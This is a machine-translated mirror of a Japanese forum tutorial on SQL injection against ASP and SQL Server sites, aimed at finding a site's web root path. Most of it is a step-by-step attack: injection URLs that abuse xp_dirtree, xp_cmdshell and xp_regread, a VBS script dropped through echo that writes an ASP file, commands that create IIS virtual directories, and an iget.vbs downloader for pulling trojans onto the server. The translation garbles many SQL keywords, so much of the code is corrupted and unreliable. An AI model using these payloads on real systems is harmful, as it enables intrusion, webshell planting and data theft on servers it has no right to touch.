この記事は機械翻訳のミラー記事です。元の記事にジャンプするにはこちらをクリックしてください。

眺める: 11906|答える: 0

【安全チュートリアル】 完全なウェブサイトパスを取得するためのSQLインジェクション

[リンクをコピー]
掲載地 2015/02/07 22:19:16 | | |
完全なウェブサイトパスを取得するためのSQLインジェクション

もしサイトにポートが80個しかないなら、以下の方法の方がより有用です
その中で使われているほとんどの方法は私が発見したものとは異なり、記事には必ず注射に関する個人的な経験や技術が含まれています
現在知られている方法は4つあります

第一の方法:

これは<怪异的SQL注入>< >で導入された方法です
sqlserverのxp_dirtreeを用いて、まずメソッドについて話し、その後の利点と欠点について話しましょう(一部の追加は元のテキストに基づいています)

テーブルを作成する

声明:http://www.xxxxx.com/down/list.asp?id=1;create  表ディレクトリ(Paths varchar(1000))--
バック:普通の情報! つまり、テーブルが成功裏に作成されたということです! 続けます!
(作成されたものは元のものより少し大きいです。長い名前のファイルに遭遇し、役に立たないIDを削除したことがあります)

声明:http://www.xxxxx.com/down/list.asp?id=1;insert  取締役のエグゼクティブmaster.dbo.xp_dirtree 'C:\' --
返品:通常の情報です。 つまり、Cドライブに書き込まれたすべてのディレクトリは成功しているということです! いいね! 次のステップはメーターを手に入れることです! それを破って出てこい。 (どうやら方法は一つしかないようです)

声明:http://www.xxxxx.com/down/list.asp?id=1  および0<>(DIRからトップ1パスを選択する)-
リターンズ:Microsoft OLE DB Provider for SQL Server error 80040e07
varcharの値「@Inetpub」をデータ型intの列に変換する際に構文エラーが発生します。

その後、テーブル内のディレクトリ名が順にバーストアウトされます!

声明:http:// http://www.xxxxx.com/down/list.asp?id=1  および0<>(上位1パスを から選択します)
('@Inetpub'))に入らない道のディルズ--
リターンズ:Microsoft OLE DB Provider for SQL Server error 80040e07
varcharの値「test」をデータ型intの列に変換した際に構文エラーが発生しました。

その後、テーブル内のディレクトリ名が順にバーストアウトされます!
よし、続けよう

声明:http:// http://www.xxxxx.com/down/list.asp?id=1  および0<>(上位1パスを から選択します)
('@Inetpub', 'test'))に入らない経路のディレクトリ――
リターンズ:Microsoft OLE DB Provider for SQL Server error 80040e07
varcharの値「haha」をデータ型intの列に変換する際に構文エラーが発生します。

その後、テーブル内のディレクトリ名が順にバーストアウトされます!

わかりましたね、やり方はわかっているはずです(笑)。その括弧にテーブル名を付け加えて、好きなだけ入れてください。

ちょっとしたコツ:

入力が似ているときにそう感じることもあります

http://www.xxxxx.com/down/list.asp?id=1  および0<>(DIRからトップ1パスを選択する)-

エラーを表示する代わりに、ウェブページは通常通り表示されます
めまい、緊張しないで
0<>(ダイルから上位1つのパスを選択する)を見て、リターンが数値であることを示します。
はは、試してみてどれくらいか確かめてみてください

100>(ディレクトリからトップ1のパスを選択してください)

元通り
はは、この方法で大きさや小さをすぐに推測できます
よし、続けよう
例えば、

59=(dirからトップ1のパスを選択する)

元に戻れ、
名前は59です
以下のように入力してください

http:// http://www.xxxxx.com/down/list.asp?id=1  および0<>(上位1パスを から選択します)
道がないディレクトリ('59'))--

引用符をつけるのを忘れずに
以下の方法は元の方法と同じです
問題もあります
上記の方法で59を入力しても、次のフォルダがまだ59のままであることがわかります
どうなっているのですか。
へへ、059と59が同じだって気づいた?
だからこそ、はは、

http:// http://www.xxxxx.com/down/list.asp?id=1  および0<>(上位1パスを から選択します)
道がないディレクトリ('059'))--

次のフォルダ名が表示されていることに気づきました。

利点と欠点の分析:

利点は、すべてのsqlserverユーザーがxp_dirtreePUBLIC権限を適用するため、すべてのsqlserverユーザーが利用できることです。
欠点は、ディレクトリ内のすべてのフォルダ名が表示され、順序が無秩序に見えることです。要するに、何千から数万ものフォルダの中で欲しいフォルダを見つけるのが大変です。
そして、そのフォルダが必ずしもルートディレクトリにあるとは限らないことも知っています。これは本当に厄介なことで、多くの場合運や持久力に左右されます。
あなたの成功を祈っています

方法2:

xp_cmdshellを活用しましょう

はは、みんなこの話はよくあると思います。簡単に言わせてください

テーブルを作成する

声明:http://www.xxxxx.com/down/list.asp?id=1;create  表ディレクトリ(Paths varchar(1000))--
バック:普通の情報! つまり、テーブルが成功裏に作成されたということです! 続けます!
(ビルドされたものは元のものより少し大きいです。長い名前のファイルに遭遇し、そのIDは役に立たないので削除したためです。)

声明:http://www.xxxxx.com/down/list.asp?id=1;insert取締役のエグゼクティブmaster.dbo.xp_cmdshell「dir c:\ /B/D」 --
返品:通常の情報です。 つまり、Cドライブに書き込まれたすべてのディレクトリは成功しているということです! dir c:\ /B/Dが使われています、笑。もし/B/Dが何をするか知らなければ、何をするか見てみてください

声明:http://www.xxxxx.com/down/list.asp?id=1  および0<>(DIRからトップ1パスを選択する)-
リターンズ:Microsoft OLE DB Provider for SQL Server error 80040e07
varcharの値「@Inetpub」をデータ型intの列に変換する際に構文エラーが発生します。

その後、テーブル内のディレクトリ名が順にバーストアウトされます!

声明:http:// http://www.xxxxx.com/down/list.asp?id=1  および0<>(上位1パスを から選択します)
('@Inetpub'))に入らない道のディルズ--
リターンズ:Microsoft OLE DB Provider for SQL Server error 80040e07
varcharの値「test」をデータ型intの列に変換した際に構文エラーが発生しました。

その後、テーブル内のディレクトリ名が順にバーストアウトされます!

方法は上記と同じなので、ここでは詳しくは触れません

時には、次の2つの拡張でも何かを行うことができます

1) xp_availablemediaを利用して、すべての現在のドライブを取得し、ディレクトリテーブルに保存できます:

5 ; 取締役を挿入 執行master.dbo.xp_availablemedia; --

tempの内容をクエリすることでドライブのリストや関連情報を得ることができます

(2) xp_subdirsを使ってサブディレクトリのリストを取得し、dirsテーブルに保存できます:

5 ; dirs exec master.dbo.xp_subdirs 'c:\' を挿入してください; --

利点と欠点の分析:

もちろん、すべてのディレクトリがまとめられる状況xp_dirtreeはなく、1階ディレクトリのみが表示されるため、見つけやすいです。
欠点も明白で、この権限はSAのみであり、管理者がこの拡張機能を削除した可能性もあります(結局のところ、この拡張機能は強力すぎるためです)。

方法3:

このアプローチは良いです
以下は原文です
adsutil.vbsというプログラムを使おうかと思い、実行しました

a'; エグゼクティブマスター... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum W3SVC/1/root>a.txt'; --

長いのではありませんか?それを通じて、IISで最初の仮想ウェブサイト(もちろん実際のディレクトリも含めて)を設定できます
a.txtへのインポート
a.txtの実際の場所のデフォルトはもちろんc:\winnt\system32で、これは実際には問題ありません。ただし、adsutil.vbsを設定する管理者に遭遇した場合は問題ありません
削除するか別の場所に置いてください
私たちにはどうすることもできません(Echoコマンドで自分で書くことはできません)

ステップ2:echoコマンドを使って、以下のコードをc:\に書き込む。これはあまり多くありません

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set FSO1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set FIL =fso1.opentextfile(spa & "\system32\aa.txt"
fil.atendofstreamでない間にやること
nr=fil.readline
もしleft(nr,4)=「パス」ならば
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
出口
終了
ループ
Set Fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------ここでカット-------------------------------------

ステップ3:もちろんread.vbsを実行し、aa.txt内の内容を読み取り、ウェブサイトの実際の経路を見つけられます
その後、ウェブサイトのルートディレクトリに「dd.asp」というファイルを作成すれば、うまく試せるかどうか分かります
実行するhttp://x.x.x.x/dd.asp
返品回収:\xxx
はは、いい方法だね。
しかし、原文にはいくつか問題があるようです
そうです

Set FIL =fso1.opentextfile(spa %2B "\system32\aa.txt"
Set Fil1 =fso1.OpenTextFile(PA%2B"\dd.asp",2,true)

エラーは2文の提出時に発生します
そこでプラス記号を考え出しました。これは と と同じ機能を持ちます
そして、dd.aspについて何を書くべきでしょうか? パパに手紙を書いて、はは
はは、変えました

-------------------read.vbs---------------------------------
Set FSO1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set FI =fso1.opentextfile(spa "\system32\aa.txt"
fil.atendofstreamでない間にやること
nr=fil.readline
もしleft(nr,4)=「パス」ならば
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
出口
終了
ループ
Set Fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------ここでカット--------------------------------------
ブラウザで送信すると時間番号がスペースに変換されるため、
それは%2Bになります。なるほど、問題ないはずです。以下のように
-------------------read.vbs---------------------------------
Set FSO1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set FIL =fso1.opentextfile(spa %2B "\system32\aa.txt"
fil.atendofstreamでない間にやること
nr=fil.readline
もしleft(nr,4)=「パス」ならば
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
出口
終了
ループ
Set Fil1 =fso1.OpenTextFile(PA %2B "\dd.asp",2,true)
fil1.writeline pa
---------------ここでカット--------------------------------------

もし1が存在しないと分かれば、2、3、4になることもあります...........

a'; エグゼクティブマスター... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum W3svc/2/root>a.txt'; --

しかしこの方法はWindows 2000でのみ使えます。なぜなら、2003年未満で新たに作成されたウェブサイトのアドレスは1234に基づいて配置されておらず、ランダム生成されているように見えます。私は2003年未満のサイトをいくつか比較しました
住所は見つかりませんでした。

利点と欠点の分析:

同感xp_cmdshellすべてのユーザーが使えるわけではありません! もう一つの問題は、adsutilファイルが必ずしも存在しないか、そのパスに含まれていないことですが、意図すれば使うことは可能です
Echoは1つ(笑、古いものも古いものも)を書きます。もう一つの疑問は、ホストに多くのサイトがあったらどうなるのかということです。 私は9つのサイトを持つホストに会ったことがありますが、8つ目だけが役に立つ
そう、かすかに、誰もこれほどまでに忍耐強く続けるのは難しい。もしかしたら、それはずっと前に崩壊しているのかもしれない。 それに、2003年には使えません!
しかし正直なところ、この方法は確かに良い方法です

方法4:

この方法は、レジストリからxp_regreadなどを経由するパスを読み取るものです
ウェブページパスを取得するには以下の方法が推奨されます(ストアドプロシージャを通じてレジストリを読み取ってください):
内蔵のストアドプロシージャxp_regread(レジストリキーの読み取り、権限公開)を活用してください:

声明:http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) 宣言@test
ヴァルチャー(20)エグゼクティブマスター... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT INSERT into paths
(経路)値(@test)

レジストリ内のIISのデフォルトパスHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
バーストフィールドを使ってデータベースの値を読み出します:

文:http://www.xxx.com/list.asp?classid=1 と 0<>(newtableからトップ1パスを選択する)-- return Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] varchar 値 E:\www,,201 を int のデータ型に変換します
コラム。

つまり、ウェブページディレクトリはE:\wwwにあり、FSOを使って直接ASPトロイの木馬に書き込みも可能です
もしウェブディレクトリが取得できなかったらどうしますか? ウェブサイトがデフォルトのWEBを使っているのか、ドメイン名をウェブとして使っているのかを推測しなければなりません。

@o int exec sp_oacreate wscript.shell を宣言し、@o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e", "e:\"''

デフォルトのウェブサイトの下に仮想ディレクトリEを作成し、ディスクのE:を指し示します。

@o int exec sp_oacreate wscript.shell を宣言し、@o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

仮想ディレクトリeにブラウジング属性を追加するのは良いことです。 自分専用のバーチャルサービスを開設しましょう。 あのウェブページのディレクトリパスを考えると、頭が壊れそうです。 今、目を開けた。 それはMSを利用したWEBSHELLです
SQLは私たちの仕事の終わりであり、次の仕事はあなたのものであるべきです。
はは、方法は良いですね。登録フォームから読んで、便利で速いですよ!

利点と欠点の分析:

もちろん利点は、便利で迅速なことです。 欠点は、デフォルトのIISサイトの経路しか見えず、もしそれがデフォルトでなければ何もできません(私はregsnapeで追跡しました)、2003年未満の場合はです
つまり、デフォルトのサイトパスすら表示されません! 痛みの中で

ちなみに、ウェブサイトの経路を見つける以外にも侵入を続ける方法はあります。例えば、tftpでバウンストロイの木馬をアップロードしたり、iget.vbsでダウンロードしたいドンドンをダウンロードしたりするなどです
iget.vbsのコードは以下の通りです:

---------始め----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. ストリーム」
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------終わり-----------

この記事の補足:

最近、毛主席の指示を十分に理解していなかったことに気づき、ここで付け加えたいと思います
実際、上記の方法は比較する必要は全くなくxp_dirtree、これらが最良であり、この一つの方法で十分であれば最良です
ただ、私があまりにも無理だったから..............
今日は、再びxp_dirtreeの秘密を掘り起こそう
では、エグゼクティブマスターをしましょう: xp_dirtree:/test'
例えば、testにtest1とtest2のフォルダがあり、test1にtest3があるとします
結果は以下の通りです

サブディレクトリの深さ
テスト1 1
テスト3 2
テスト2 1

はは、ディレクトリの系列には深みがないことに気づきました
よし、どうすればいいか分かってる

http://www.xxxxx.com/down/list.asp?id=1;create  テーブル dirs(paths varchar(1000), id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  取締役 master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1  および0<>(id=1のdirsから上位1つのパスを選択する)

id=1が追加されている限り、それは第一レベルのディレクトリです。





先の:侵入侵入:HTTPヘッダーの適用
次に:Alipayの送金スクリーンショットはワンクリックで生成されます
免責事項:
Code Farmer Networkが発行するすべてのソフトウェア、プログラミング資料、記事は学習および研究目的のみを目的としています。 上記の内容は商業的または違法な目的で使用されてはならず、そうでなければ利用者はすべての結果を負うことになります。 このサイトの情報はインターネットからのものであり、著作権紛争はこのサイトとは関係ありません。 ダウンロード後24時間以内に上記の内容を完全にパソコンから削除してください。 もしこのプログラムを気に入ったら、正規のソフトウェアを支持し、登録を購入し、より良い本物のサービスを受けてください。 もし侵害があれば、メールでご連絡ください。

Mail To:help@itsvse.com